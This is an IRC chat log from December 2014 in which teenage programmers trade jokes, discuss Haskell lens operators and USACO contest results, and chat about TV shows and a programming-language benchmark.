[2014-12-19T20:51:09-0500] <+Tamini> JacobEdelman: uh
[2014-12-19T20:51:12-0500] <+JacobEdelman> he doesn't deserve
[2014-12-19T20:51:15-0500] <+JacobEdelman> perl
[2014-12-19T20:51:17-0500] <+JacobEdelman> :P
[2014-12-19T20:51:17-0500] <+Tamini> alokpathy: psh, not jacob
[2014-12-19T20:51:21-0500] <+Tamini> jacob is too lame for me
[2014-12-19T20:51:26-0500] <@awe> Tamini: which one?
[2014-12-19T20:51:27-0500] <alokpathy> pewpewpewpewpewpew
[2014-12-19T20:51:28-0500] <+Tamini> but the rest of you, you know it ;)
[2014-12-19T20:51:28-0500] <+JacobEdelman> oh, thanks 
[2014-12-19T20:51:33-0500] <+Tamini> awe: both
[2014-12-19T20:51:39-0500] <+JacobEdelman> I know, I'm out of your league
[2014-12-19T20:51:45-0500] <@awe> Tamini: ouch
[2014-12-19T20:51:48-0500] <@awe> LittleBobbyTables: sorry
[2014-12-19T20:51:54-0500] <+Tamini> JacobEdelman: i could do so much better than you :P
[2014-12-19T20:51:58-0500] <alokpathy> LittleBobbyTables: Oh, I showed you off to a friend of mine who plays Osu a lot.
[2014-12-19T20:51:58-0500] <bob_twinkles> mmm
[2014-12-19T20:51:59-0500] <bob_twinkles> http://glyphic.s3.amazonaws.com/ozone/mark/periodic/Periodic%20Table%20of%20the%20Operators%20A4%20300dpi.jpg
[2014-12-19T20:52:01-0500] <bob_twinkles> operators
[2014-12-19T20:52:04-0500] <alokpathy> He recognized your handle.
[2014-12-19T20:52:05-0500] <bob_twinkles> (oh god why)
[2014-12-19T20:52:16-0500] <+Tamini> LOL
[2014-12-19T20:52:22-0500] <+Tamini> so proud, apothy
[2014-12-19T20:52:34-0500] <alokpathy> Tamini: I'm very proud.
[2014-12-19T20:52:36-0500] <+Tamini> you have no idea how many people
[2014-12-19T20:52:40-0500] <+Tamini> asked me if you were my boyfriend
[2014-12-19T20:52:42-0500] <+Tamini> after pclassic
[2014-12-19T20:52:45-0500] <+Tamini> (read: two people)
[2014-12-19T20:52:55-0500] <@awe> bob_twinkles: they should make this for Haskell.
[2014-12-19T20:53:02-0500] <bob_twinkles> can't
[2014-12-19T20:53:03-0500] <alokpathy> Well, now I have an idea how many people asked :P
[2014-12-19T20:53:04-0500] <bob_twinkles> too many
[2014-12-19T20:53:12-0500] <+Tamini> :P
[2014-12-19T20:53:14-0500] <alokpathy> Tamini: Was it Matt and cdb?
[2014-12-19T20:53:17-0500] <bob_twinkles> literally anything can be an infix operator
[2014-12-19T20:53:38-0500] <alokpathy> Tamini: Or Danial?
[2014-12-19T20:53:39-0500] <@awe> bob_twinkles: well, they should do it for the common ones.
[2014-12-19T20:53:43-0500] <bob_twinkles> `mod` and `div` for example
[2014-12-19T20:53:47-0500] <@awe> I know.
[2014-12-19T20:54:43-0500] <@awe> bob_twinkles: you could make a chart bigger than this with just lenses.
[2014-12-19T20:54:44-0500] <bob_twinkles> the default operator set isn't really that weird though
[2014-12-19T20:54:47-0500] <bob_twinkles> yeah
[2014-12-19T20:54:57-0500] <bob_twinkles> that one would actually be useful probably
[2014-12-19T20:55:02-0500] <@awe> Yeah.
[2014-12-19T20:55:04-0500] <+Tamini> alokpathy: people that didnt actually know you from before :P
[2014-12-19T20:55:07-0500] <@awe> That was mainly what I was thinking.
[2014-12-19T20:55:10-0500] <+Tamini> people from that one room we were hanging out in
[2014-12-19T20:55:31-0500] <@awe> the prelude symbolic operators + lenses would be awesome.
[2014-12-19T20:55:57-0500] <@awe> Tamini: lol, that's cute.
[2014-12-19T20:55:59-0500] <The_Master> http://imgur.com/WDgWAqE
[2014-12-19T20:56:04-0500] <@awe> Tamini: I'm jealous that I couldn't be there </3
[2014-12-19T20:56:15-0500] <@awe> The_Master: LOL
[2014-12-19T20:56:21-0500] <@awe> The_Master: I'm in my work shirt, too.
[2014-12-19T20:56:57-0500] <alokpathy> Tamini: Wait, the rest of your team knew me?
[2014-12-19T20:57:03-0500] <alokpathy> Tamini: I'm famous? :o
[2014-12-19T20:57:15-0500] <+Tamini> alokpathy: i'm pretty sure they knew I was hanging out from a friend from last year
[2014-12-19T20:57:20-0500] <+Tamini> oh, they remember jacob >___>
[2014-12-19T20:57:26-0500] <+Tamini> "WAIT THAT REALLY ANNOYING GUY WITH THE HAIR"
[2014-12-19T20:57:37-0500] <+Tamini> awe: I know I missed you too :(
[2014-12-19T20:57:39-0500] <+Tamini> also i'm super cute
[2014-12-19T20:57:44-0500] <@awe> Duh
[2014-12-19T20:57:49-0500] <+Tamini> also I forget who was dating who from #hsctf
[2014-12-19T20:58:00-0500] <+Tamini> we had a very complicated love polygon, i remember that
[2014-12-19T20:58:07-0500] <alokpathy> We did?
[2014-12-19T20:58:12-0500] <@awe> Yeah.
[2014-12-19T20:58:13-0500] <@awe> We did.
[2014-12-19T20:58:21-0500] <alokpathy> Oh, I don't remember this.
[2014-12-19T20:58:22-0500] <@awe> and I was asking for cute jewish girls in exchange for keys.
[2014-12-19T20:58:35-0500] <alokpathy> Oh, I remember you were asking for cute jewish girls.
[2014-12-19T20:58:49-0500] <alokpathy> And you found one :P
[2014-12-19T21:00:03-0500] <+Tamini> lol
[2014-12-19T21:00:07-0500] <+Tamini> and i'm pretty sure
[2014-12-19T21:00:15-0500] <+Tamini> awe and I flirted to the point my irl boyfriend got insecure
[2014-12-19T21:00:55-0500] <alokpathy> lolololol
[2014-12-19T21:01:22-0500] <+Tamini> im not kidding
[2014-12-19T21:01:26-0500] <+Tamini> i didnt know that was a possible thing
[2014-12-19T21:01:31-0500] <alokpathy> Uh oh
[2014-12-19T21:01:44-0500] <The_Master> this is the original, zoomed out: http://imgur.com/mVmQgBs
[2014-12-19T21:02:03-0500] <+Tamini> also bob_twinkles: tell me how tomororw goes :O
[2014-12-19T21:02:21-0500] <alokpathy> Oh what's happening tomorrow?
[2014-12-19T21:02:27-0500] <@awe> The_Master: how many pictures of me do you have?
[2014-12-19T21:02:36-0500] <The_Master> I deleted most of them
[2014-12-19T21:02:49-0500] <@awe> O.
[2014-12-19T21:03:00-0500] <alokpathy> awe: That's what he wants you to think.
[2014-12-19T21:03:10-0500] <alokpathy> In reality, he's taken even more.
[2014-12-19T21:03:20-0500] <The_Master> ~6
[2014-12-19T21:03:31-0500] <alokpathy> So, 6 more.
[2014-12-19T21:03:37-0500] <alokpathy> He admits it.
[2014-12-19T21:03:42-0500] <The_Master> they are from a hsctf meeting, when I was bored
[2014-12-19T21:04:10-0500] <bob_twinkles> tamini: if we can get the damn vms running =(
[2014-12-19T21:04:11-0500] <The_Master> make that ~9
[2014-12-19T21:04:44-0500] <+Tamini> bob_twinkles: you can do it! 
[2014-12-19T21:04:53-0500] <+Tamini> i believe in you and sdamashek and mkramer if he's helping
[2014-12-19T21:05:09-0500] <+Tamini> also i'm so amused by this chain reaction
[2014-12-19T21:05:16-0500] <+Tamini> matt doesnt go -> no one goes
[2014-12-19T21:06:51-0500] <+JacobEdelman> I'm actually kinda sad I'm known as the annoying guy with hair
[2014-12-19T21:06:59-0500] <+JacobEdelman> I'm trying to outgrow that repuation
[2014-12-19T21:07:04-0500] <+JacobEdelman> well, not the hair bit
[2014-12-19T21:07:10-0500] <+Tamini> lol
[2014-12-19T21:07:11-0500] <+Tamini> idek
[2014-12-19T21:07:12-0500] <+Tamini> like
[2014-12-19T21:07:18-0500] <+Tamini> i have no idea what you're doing with your life
[2014-12-19T21:07:20-0500] <+Tamini> but alan told me that too
[2014-12-19T21:07:41-0500] <+JacobEdelman> what do you mean you have no idea what I'm doing with my life?
[2014-12-19T21:07:42-0500] <+Tamini> make better impressions!
[2014-12-19T21:08:03-0500] <hardmath123> he made a good impression on me
[2014-12-19T21:08:19-0500] <hardmath123> but to be fair, it was around 2am and I hadn't had a decent hot beverage in at least a week
[2014-12-19T21:08:29-0500] <+JacobEdelman> when was that?
[2014-12-19T21:08:30-0500] <+Tamini> lol
[2014-12-19T21:08:36-0500] <+JacobEdelman> on the pico irc, pdgn irc, or email?
[2014-12-19T21:08:54-0500] <hardmath123> #picoctf
[2014-12-19T21:09:37-0500] <+JacobEdelman> ah, wow, I only vaugely remeber those conversation, and being really impressed by your skills, on pdgn that slowly went from being impressed, to scared, to awe-struct
[2014-12-19T21:09:37-0500] <@awe> Hey, guys.
[2014-12-19T21:09:41-0500] <+JacobEdelman> :P
[2014-12-19T21:09:50-0500] <@awe> Want to see all of the lenses?
[2014-12-19T21:09:52-0500] <@awe> ^. .~ <.~ .= <.= <<.~ <<.= %~ <%~ %= <%= <<%~ <<%= %%~ %%= +~ <+~ += <+= -~ <-~ -= <-= *~ <*~ *= <*= //~ <//~ //= <//= ^~ <^~ ^= <^= ^^~ <^^~ ^^= <^^= **~ <**~ **= <**= ||~ <||~ ||= <||= &&~ <&&~ &&= <&&= <>~ <<>~ <>= <<>= ^? ^.. ^! %@~ <%@~ %@= <%@= %%@~ %%@= .|.~ <.|.~ .|.= <.|.= .&.~ <.&.~ .&.= <.&.= </>~ <</>~ </>= <</>= <.>~ <<.>~ <.>= <<.>=
[2014-12-19T21:09:56-0500] <@awe> YAY OPERATORS
[2014-12-19T21:09:58-0500] <+Tamini> wat
[2014-12-19T21:10:14-0500] <+Tamini> awe-struct, heh
[2014-12-19T21:10:14-0500] <+JacobEdelman> hardmath123: (then my ego too control, and insisted I must be at least half as cool as you)
[2014-12-19T21:10:17-0500] <@awe> Those are all of the symbolic operators defined by the Haskell lens library.
[2014-12-19T21:10:19-0500] <@awe> bob_twinkles: ^
[2014-12-19T21:10:26-0500] <+JacobEdelman> yeah, awe-struct is a thing
[2014-12-19T21:10:34-0500] <+JacobEdelman> *took
[2014-12-19T21:10:37-0500] <+JacobEdelman> (not too)
[2014-12-19T21:10:43-0500] <bob_twinkles> awe: very nice
[2014-12-19T21:10:54-0500] <bob_twinkles> IIRC there's some pattern that makes it easy to remeber
[2014-12-19T21:11:03-0500] <bob_twinkles> I just always used the full function names though =P
[2014-12-19T21:11:03-0500] <@awe> Yes.
[2014-12-19T21:11:13-0500] <@awe> Ends with a ~ is a combinator
[2014-12-19T21:11:22-0500] <@awe> starts with < is a combinator with result
[2014-12-19T21:11:28-0500] <@awe> ends with = is stateful
[2014-12-19T21:11:38-0500] <@awe> starts with < and ends with = is stateful with result
[2014-12-19T21:11:46-0500] <hardmath123> why is < not less-than, again?
[2014-12-19T21:11:51-0500] <@awe> It is.
[2014-12-19T21:12:15-0500] <@awe> But <.~ is a different operator than <
[2014-12-19T21:13:09-0500] <+JacobEdelman> over this weekend
[2014-12-19T21:13:14-0500] <+JacobEdelman> I will release lark 0.0.2
[2014-12-19T21:13:21-0500] <+JacobEdelman> with the major update
[2014-12-19T21:13:22-0500] <@awe> And I will cry deeply.
[2014-12-19T21:13:28-0500] <+JacobEdelman> that you will be able to write code!
[2014-12-19T21:13:36-0500] <hardmath123> oh no
[2014-12-19T21:13:42-0500] <@awe> Who shall weep with me?
[2014-12-19T21:13:52-0500] <+JacobEdelman> hardmath123: its not an ugly travesty anymore
[2014-12-19T21:13:59-0500] <@awe> We must come together and weep against this injustice.
[2014-12-19T21:14:00-0500] <+JacobEdelman> hardmath123: I linted a bunch
[2014-12-19T21:14:08-0500] <+Tamini> lol, learning how to use pentesting tools
[2014-12-19T21:14:21-0500] <hardmath123> JacobEdelman: you can't just throw lint at code to make it pretty. it's like throwing a debugger at code to fix it.
[2014-12-19T21:14:44-0500] <@awe> lol
[2014-12-19T21:15:09-0500] <The_Master> http://imgur.com/4AicIkp
[2014-12-19T21:15:10-0500] <+JacobEdelman> hardmath123: I prettified it myself too
[2014-12-19T21:15:15-0500] <+JacobEdelman> hardmath123: made comments nice
[2014-12-19T21:15:24-0500] <+JacobEdelman> hardmath123: and now I am doing nice code myself
[2014-12-19T21:15:28-0500] <+JacobEdelman> the types.js file
[2014-12-19T21:15:34-0500] <+JacobEdelman> was never really linted
[2014-12-19T21:15:48-0500] <@awe> The_Master: o lawd.
[2014-12-19T21:17:03-0500] <The_Master> this one doesn't need editing: http://imgur.com/4AicIkp
[2014-12-19T21:17:25-0500] <+Tamini> oh man
[2014-12-19T21:17:26-0500] <+Tamini> those eyes
[2014-12-19T21:17:27-0500] <+Tamini> LOL
[2014-12-19T21:17:51-0500] <+Tamini> THEY STARE INTO YOUR SOUL
[2014-12-19T21:19:35-0500] <The_Master> *http://imgur.com/VhUEyh0
[2014-12-19T21:19:51-0500] <The_Master> that doesn't need editing.
[2014-12-19T21:28:04-0500] <+LittleBobbyTables> nurds
[2014-12-19T21:28:36-0500] <alokpathy> u wanna fite LittleBobbyTables 
[2014-12-19T21:28:56-0500] <@awe> fight me irl mate
[2014-12-19T21:29:12-0500] <alokpathy> do u evn lift
[2014-12-19T21:30:03-0500] <+LittleBobbyTables> i do m8
[2014-12-19T21:30:10-0500] <+LittleBobbyTables> u fokn wot
[2014-12-19T21:30:13-0500] <@awe> do you liftM tho?
[2014-12-19T21:30:18-0500] <@awe> bob_twinkles liftMs.
[2014-12-19T21:30:22-0500] <+LittleBobbyTables> I liftN
[2014-12-19T21:30:37-0500] <bob_twinkles> unfortunatly, it stops at liftM5
[2014-12-19T21:30:43-0500] <bob_twinkles> though it's trivial to extend to liftM8 =P
[2014-12-19T21:30:57-0500] <+LittleBobbyTables> But N>M
[2014-12-19T21:31:00-0500] <+LittleBobbyTables> So I liftN
[2014-12-19T21:31:19-0500] <nezorg> ...I was just reading the Control.Monad docs today
[2014-12-19T21:31:36-0500] <@awe> so nezorg, you also liftM?
[2014-12-19T21:31:43-0500] <nezorg> of course
[2014-12-19T21:46:22-0500] <+JacobEdelman> last colbert almost made me cry
[2014-12-19T21:46:56-0500] <alokpathy> :(
[2014-12-19T21:47:10-0500] <+Tamini> its ok sweetie
[2014-12-19T21:47:14-0500] <+Tamini> we were talking about that in english today
[2014-12-19T21:47:16-0500] <+Tamini> :(
[2014-12-19T21:48:03-0500] <jwoglom> it ended so perfectly
[2014-12-19T22:03:41-0500] <The_Master> I thought he could have anyone he wanted as a guest. Instead he had everyone.
[2014-12-19T22:06:34-0500] <jwoglom> that end tho with abe lincoln, santa, and alex trebek
[2014-12-19T22:07:09-0500] <alokpathy> When's the new show starting?
[2014-12-19T22:07:31-0500] <jwoglom> june, apparently
[2014-12-19T22:07:36-0500] <jwoglom> letterman's retiring in may
[2014-12-19T22:08:02-0500] <jwoglom> so there's a 1 month gap b/w the late show starting up again
[2014-12-19T22:08:18-0500] <alokpathy> Oh, I meant the new show on CC.
[2014-12-19T22:08:53-0500] <jwoglom> ah. january i think
[2014-12-19T22:09:10-0500] <alokpathy> Ah okay
[2014-12-19T22:35:02-0500] <+LittleBobbyTables> SO WORTH GUYS
[2014-12-19T22:35:05-0500] <+LittleBobbyTables> Took three days
[2014-12-19T22:35:07-0500] <+LittleBobbyTables> but now
[2014-12-19T22:35:11-0500] <+LittleBobbyTables> My shit is here one day earl
[2014-12-19T22:35:13-0500] <+LittleBobbyTables> early
[2014-12-19T22:35:17-0500] <+LittleBobbyTables> instead of christmas eve
[2014-12-19T22:35:21-0500] <+LittleBobbyTables> it's now tuesday
[2014-12-19T22:36:30-0500] <alokpathy> Oh nice xD
[2014-12-19T22:36:41-0500] <+LittleBobbyTables> I wish it was like
[2014-12-19T22:36:42-0500] <+LittleBobbyTables> Tomorrow
[2014-12-19T22:36:53-0500] <+LittleBobbyTables> And it took one day to get everything, instead of three
[2014-12-19T22:42:24-0500] <hardmath123> I need lame PG-rated jokes
[2014-12-19T22:42:38-0500] <alokpathy> hardmath123: What for?
[2014-12-19T22:42:46-0500] <hardmath123> http://github.com/Hardmath123/jokebot
[2014-12-19T22:43:42-0500] <alokpathy> What if I gave you amazing PG-rated jokes instead?
[2014-12-19T22:44:15-0500] <hardmath123> then I would love you forever
[2014-12-19T22:44:22-0500] <+JacobEdelman> I have jokes about suzy blowing up
[2014-12-19T22:44:28-0500] <+JacobEdelman> but they are probaly not PG ...
[2014-12-19T22:44:48-0500] <+JacobEdelman> whats brown and sticky?
[2014-12-19T22:44:57-0500] <+JacobEdelman> a stick
[2014-12-19T22:45:16-0500] <alokpathy> What's the difference between roast beef and pea soup?
[2014-12-19T22:45:37-0500] <alokpathy> You can roast beef, but nobody can pea (read as pee) soup.
[2014-12-19T22:46:11-0500] <alokpathy> Why did the chicken cross the road?
[2014-12-19T22:46:17-0500] <alokpathy> The intermediate value theorem.
[2014-12-19T22:46:35-0500] <hardmath123> just PR all of them
[2014-12-19T23:05:48-0500] <@awe> https://github.com/isohuntto/openbay
[2014-12-19T23:09:05-0500] <+Tamini> alokpathy: oh my god you
[2014-12-19T23:10:43-0500] <+JacobEdelman> i made a robot to generate puns
[2014-12-19T23:10:48-0500] <+JacobEdelman> it didn't really work well
[2014-12-19T23:11:25-0500] <@awe> @markov Why
[2014-12-19T23:11:32-0500] <+awebot> awe: Why should totally arbitrary IRC name `rng`..
[2014-12-19T23:11:37-0500] <@awe> @markov Because
[2014-12-19T23:11:44-0500] <+awebot> awe: Because both parties at.
[2014-12-19T23:11:47-0500] <@awe> Done.
[2014-12-19T23:12:34-0500] <The_Master> @markov
[2014-12-19T23:12:41-0500] <+awebot> The_Master: tomprogrammer: No can call downcast_ref?.
[2014-12-19T23:12:47-0500] <The_Master> @markov
[2014-12-19T23:12:54-0500] <+awebot> The_Master: irc-services/master d326acd Aaron Weiss: Updated for example there is that for non-mutating functions compile 𝖑𝖎𝖇𝖋𝖗𝖆𝖐𝖙𝖚𝖗.
[2014-12-19T23:13:04-0500] <@awe> lol.
[2014-12-19T23:13:21-0500] <The_Master> @markov Weiss
[2014-12-19T23:13:28-0500] <+awebot> The_Master: Weiss text editor that box and TSA rules would move somewhere else..
[2014-12-19T23:13:35-0500] <@awe> @markov Aaron
[2014-12-19T23:13:41-0500] <+awebot> awe: Aaron Weiss): The build.
[2014-12-19T23:13:59-0500] <@awe> @markov irc/master
[2014-12-19T23:14:05-0500] <+awebot> awe: That seed is unknown.
[2014-12-19T23:14:10-0500] <@awe> @markov irc
[2014-12-19T23:14:17-0500] <+awebot> awe: irc channell.
[2014-12-19T23:17:08-0500] <+JacobEdelman> well, gnight
[2014-12-19T23:17:13-0500] <@awe> Good night, JacobEdelman.
[2014-12-19T23:17:18-0500] <@awe> @tell JacobEdelman You suck.
[2014-12-19T23:17:19-0500] <mailbot> awe: I'll let them know!
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[2014-12-19T23:37:40-0500] <alokpathy> Tamini: heh
[2014-12-19T23:37:44-0500] <alokpathy> I'm a comedic genius.
[2014-12-19T23:37:47-0500] <alokpathy> ish.
[2014-12-19T23:37:49-0500] <+Tamini> yes?
[2014-12-19T23:37:52-0500] <+Tamini> go on
[2014-12-19T23:38:09-0500] <alokpathy> :|
[2014-12-19T23:38:52-0500] <+Tamini> pls tell me of your
[2014-12-19T23:38:54-0500] <+Tamini> comedic genius
[2014-12-19T23:54:29-0500] <alokpathy> Tamini: USACO results are out
[2014-12-19T23:54:31-0500] <alokpathy> I'm so mad
[2014-12-19T23:54:38-0500] <+Tamini> LOL
[2014-12-19T23:54:39-0500] <alokpathy> aboutmy #1
[2014-12-19T23:54:39-0500] <+Tamini> LOL
[2014-12-19T23:54:40-0500] <+Tamini> LOL
[2014-12-19T23:54:45-0500] <+Tamini> IM GOING TO GO JUMP OFF A BRIDGE NOW
[2014-12-19T23:54:49-0500] <alokpathy> Dude
[2014-12-19T23:54:54-0500] <alokpathy> did I tell you what happened?
[2014-12-19T23:54:55-0500] <@awe> alokpathy: are you going to the invitational now?
[2014-12-19T23:55:01-0500] <+Tamini> I'm too busy jumping off a bridge
[2014-12-19T23:55:01-0500] <+Tamini> sorry
[2014-12-19T23:55:13-0500] <alokpathy> awe: No, I probably won't. I fucked up in literally the most retarded way possible.
[2014-12-19T23:55:30-0500] <alokpathy> They gave you two variables: N and M
[2014-12-19T23:55:32-0500] <alokpathy> and M lines of input
[2014-12-19T23:55:32-0500] <+Tamini> i was one test case away because i misread a problem
[2014-12-19T23:55:33-0500] <+Tamini> D:
[2014-12-19T23:55:37-0500] <alokpathy> my loop went for N iterations
[2014-12-19T23:55:48-0500] <alokpathy> and I spent 2 hours wondering why my solution was wrong
[2014-12-19T23:55:49-0500] <alokpathy> when it wasn't
[2014-12-19T23:56:14-0500] <alokpathy> Tamini: I would have had a perfect if I didn't spend 2 hours on #1 for that stupid reason
[2014-12-19T23:56:22-0500] <+Tamini> aw
[2014-12-19T23:56:24-0500] <+Tamini> its okay sweetie
[2014-12-19T23:56:27-0500] <alokpathy> 'cause #3 was easy
[2014-12-19T23:56:31-0500] <+Tamini> lol
[2014-12-19T23:56:36-0500] <+Tamini> i like
[2014-12-19T23:56:40-0500] <+Tamini> gave up on #4 because i was like
[2014-12-19T23:56:42-0500] <+Tamini> "i want cake instead"
[2014-12-19T23:56:47-0500] <jwoglom> Tamini: :(
[2014-12-19T23:56:50-0500] <+Tamini> then i realized I misread
[2014-12-19T23:56:54-0500] <+Tamini> and it was easy
[2014-12-19T23:56:55-0500] <+Tamini> and I cry 
[2014-12-19T23:56:56-0500] <jwoglom> and please don't do that
[2014-12-19T23:57:11-0500] <alokpathy> Tamini: Lol I can propose a different solution to #2 to them and have the satisfaction of that.
[2014-12-19T23:57:30-0500] <alokpathy> The intended solution was DP, but I used graph theory.
[2014-12-19T23:57:57-0500] <+Tamini> lolol
[2014-12-19T23:58:12-0500] <+Tamini> of course, you (what's a mean term for an algo person?)
[2014-12-19T23:58:15-0500] <+Tamini> <3
[2014-12-19T23:58:43-0500] <alokpathy> No idea, lol
[2014-12-19T23:58:57-0500] <+Tamini> you algo nuuuurd
[2014-12-19T23:58:59-0500] <+Tamini> <3
[2014-12-19T23:59:22-0500] <alokpathy> Lol, why thank you.
[2014-12-19T23:59:44-0500] <alokpathy> Wait, which grows faster: nk^2 or nklog(nk)
[2014-12-19T23:59:47-0500] <alokpathy> nklog(nk), right?
[2014-12-19T23:59:54-0500] <+Tamini> so
[2014-12-20T00:00:06-0500] <+Tamini> k^2 or klog(k*c) ?
[2014-12-20T00:00:07-0500] <alokpathy> or, wait, it's dependent on n
[2014-12-20T00:00:09-0500] <+Tamini> uh
[2014-12-20T00:00:16-0500] <+Tamini> dude?
[2014-12-20T00:00:27-0500] <+Tamini> for a sufficiently large value of k, k^2 should go faster, right?
[2014-12-20T00:00:29-0500] <+Tamini> am I high?
[2014-12-20T00:00:43-0500] <alokpathy> I'm drunk
[2014-12-20T00:01:11-0500] <alokpathy> Cool, so I had a nklog(nk) when the intended solution was nk^2
[2014-12-20T00:02:50-0500] <alokpathy> Should I email them?
[2014-12-20T00:03:03-0500] <+Tamini> yes.
[2014-12-20T00:03:04-0500] <+Tamini> <3
[2014-12-20T00:03:11-0500] <+Tamini> they'll tell you you're pretty
[2014-12-20T00:03:13-0500] <+Tamini> and smart
[2014-12-20T00:03:16-0500] <+Tamini> and shao shao cool
[2014-12-20T00:03:18-0500] <+Tamini> (lol puns)
[2014-12-20T00:06:49-0500] <alokpathy> I'm telling Shao you used his name as a pun :P
[2014-12-20T00:08:07-0500] <+Tamini> i've been saying shao cool for ages
[2014-12-20T00:08:13-0500] <alokpathy> owow
[2014-12-20T00:08:15-0500] <alokpathy> I never realized
[2014-12-20T00:08:58-0500] <+Tamini> shao = asian so
[2014-12-20T00:08:59-0500] <+Tamini> :P
[2014-12-20T00:12:33-0500] <alokpathy> I have to go and figure out what exactly I did XD
[2014-12-20T00:14:47-0500] <+Tamini> "i outsmarted all u people"
[2014-12-20T00:14:48-0500] <+Tamini> :P
[2014-12-20T00:15:25-0500] <alokpathy> Hopefully this gives me an automatic promotion to gold.
[2014-12-20T00:15:32-0500] <alokpathy> I would be so happy
[2014-12-20T00:16:05-0500] <+Tamini> LOL
[2014-12-20T00:16:11-0500] <+Tamini> what if that was like the
[2014-12-20T00:16:14-0500] <+Tamini> intended gold solution
[2014-12-20T00:16:18-0500] <+Tamini> and silver was meant to run in that time
[2014-12-20T00:16:23-0500] <+Tamini> "you're good, but sucks to suck"
[2014-12-20T00:17:02-0500] <alokpathy> I'd die
[2014-12-20T00:17:15-0500] <+Tamini> or yknow
[2014-12-20T00:17:17-0500] <+Tamini> promote next time
[2014-12-20T00:17:17-0500] <+Tamini> <3
[2014-12-20T00:17:21-0500] <+Tamini> cmon sweetie
[2014-12-20T00:23:08-0500] <alokpathy> Hope so, lol
[2014-12-20T00:29:09-0500] <alokpathy> So, sup
[2014-12-20T00:39:35-0500] <nezorg> so I discovered
[2014-12-20T00:39:55-0500] <nezorg> when I let my computer idle for 10 minutes
[2014-12-20T00:40:00-0500] <nezorg> then the monitor goes to sleep
[2014-12-20T00:40:05-0500] <nezorg> then when I wake it up
[2014-12-20T00:40:09-0500] <nezorg> I have a cursor
[2014-12-20T00:40:15-0500] <nezorg> ...but just a cursor.
[2014-12-20T00:40:47-0500] <alokpathy> wat
[2014-12-20T00:40:50-0500] <alokpathy> That is uh
[2014-12-20T00:40:51-0500] <alokpathy> strange.
[2014-12-20T00:41:45-0500] <nezorg> :|
[2014-12-20T00:46:46-0500] <nezorg> http://www.pewinternet.org/2014/12/18/future-of-privacy/ <-- really good read
[2014-12-20T00:49:39-0500] <alokpathy> I see you're very much into security :P
[2014-12-20T00:49:48-0500] <alokpathy> Tamini: This is the shittiest explanation I've ever written.
[2014-12-20T00:51:11-0500] <hardmath123> nezorg: there's literally a guy named Bob Briscoe in that article O_o
[2014-12-20T00:51:25-0500] <alokpathy> Tamini: Want to proofread my explanation?
[2014-12-20T00:51:29-0500] <alokpathy> Tamini: Peer-review?
[2014-12-20T00:51:43-0500] <nezorg> hardmath123: ...and?
[2014-12-20T00:52:09-0500] <nezorg> alokpathy: that, but especially privacy, which it seems like a fair number of security people don't
[2014-12-20T00:52:13-0500] <hardmath123> nezorg: ..."Bulldog" Bob Briscoe is a famous, lovable character from Frasier
[2014-12-20T00:52:33-0500] <alokpathy> nezorg: Really? I thought it'd be the opposite, that a lot of security people would care.
[2014-12-20T00:52:49-0500] <nezorg> hardmath123: huh
[2014-12-20T00:53:05-0500] <nezorg> alokpathy: certainly more than average, but still surprisingly few imo
[2014-12-20T00:53:44-0500] <hardmath123> nezorg: interestingly, he's does a radio show in Frasier, and is in charge of British Telecom irl
[2014-12-20T00:55:54-0500] <nezorg> WTF
[2014-12-20T00:55:55-0500] <nezorg> WTF
[2014-12-20T00:55:56-0500] <nezorg> WTF
[2014-12-20T00:55:59-0500] <nezorg> THIS WHOLE TIME
[2014-12-20T00:56:02-0500] <nezorg> X WAS WORKING
[2014-12-20T00:56:13-0500] <nezorg> BUT XMONAD WASN'T
[2014-12-20T00:56:15-0500] <nezorg> WTF
[2014-12-20T00:57:27-0500] <+LittleBobbyTables> nezorg
[2014-12-20T00:57:29-0500] <+LittleBobbyTables> wanna come play dota
[2014-12-20T00:58:04-0500] <nezorg> no
[2014-12-20T00:58:10-0500] <nezorg> I'm tired
[2014-12-20T00:58:13-0500] <nezorg> and mad
[2014-12-20T00:58:20-0500] <nezorg> not good conditions for dota
[2014-12-20T00:58:36-0500] <+LittleBobbyTables> perfect conditions
[2014-12-20T01:09:27-0500] <nezorg> ...oh, I didn't have any terminal emulators installed
[2014-12-20T01:09:28-0500] <nezorg> whoops
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[2014-12-20T08:22:15-0500] <Hyper> awe: https://github.com/logicchains/LPATHBench/blob/master/writeup.md
[2014-12-20T08:22:17-0500] <Hyper> *pride*
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[2014-12-20T12:19:42-0500] <+JacobEdelman> mailbot, do you have any insults from awe for me?
[2014-12-20T12:19:42-0500] <mailbot> JacobEdelman: 13 hours ago, awe said You suck.
[2014-12-20T12:19:42-0500] <mailbot> JacobEdelman: 13 hours ago, awe said Just kidding!
[2014-12-20T12:19:42-0500] <mailbot> JacobEdelman: 13 hours ago, awe said Who's awesome?
[2014-12-20T12:19:42-0500] <mailbot> JacobEdelman: 13 hours ago, awe said You're awesome!
[2014-12-20T12:19:46-0500] <+JacobEdelman> oh
[2014-12-20T12:19:46-0500] <+JacobEdelman> wow
[2014-12-20T12:19:51-0500] <+JacobEdelman> he actually took it back
[2014-12-20T12:20:08-0500] <@awe> JacobEdelman: <3
[2014-12-20T12:20:15-0500] <@awe> Hyper: D is really solid.
[2014-12-20T12:20:28-0500] <@awe> Hyper: It's just unfortunately pretty low adoption.
[2014-12-20T12:23:31-0500] <+Tamini> hm
[2014-12-20T12:26:04-0500] <@awe> "Haskell can be faster than Java, thanks to unboxing"
[2014-12-20T12:26:05-0500] <@awe> Yes.
[2014-12-20T12:26:25-0500] <@awe> "There's no algorith for finding the longest path to one's inlaws that doesn't take exponential time, ergo the universe hates us."
[2014-12-20T12:26:25-0500] <@awe> lol
[2014-12-20T12:27:33-0500] <+Tamini> lol
[2014-12-20T12:28:08-0500] <@awe> Hyper: the Rust implementation could be improved by using references instead of cloning.
[2014-12-20T12:28:19-0500] <@awe> Hyper: it'd likely run faster than D then.
[2014-12-20T12:28:37-0500] <+JacobEdelman> speed doesn't matter
[2014-12-20T12:28:42-0500] <+JacobEdelman> its all algorithmic complexity
[2014-12-20T12:28:45-0500] <+JacobEdelman> :P
[2014-12-20T12:29:19-0500] <@awe> JacobEdelman: this is literally a problem without an algorithmic solution.
[2014-12-20T12:29:42-0500] <@awe> if you can find one, you get $$$.
[2014-12-20T12:30:48-0500] <@awe> Hyper: oh, no.
[2014-12-20T12:30:51-0500] <@awe> Hyper: nevermind, that's not in the timed part.
[2014-12-20T12:31:02-0500] <+JacobEdelman> whats the problem
[2014-12-20T12:31:13-0500] <+JacobEdelman> and I strongly doubt that it doesn't have any algo solution
[2014-12-20T12:31:44-0500] <@awe> It has no known algorithmic solution.
[2014-12-20T12:31:56-0500] <@awe> Find the longest path between point A and point B.
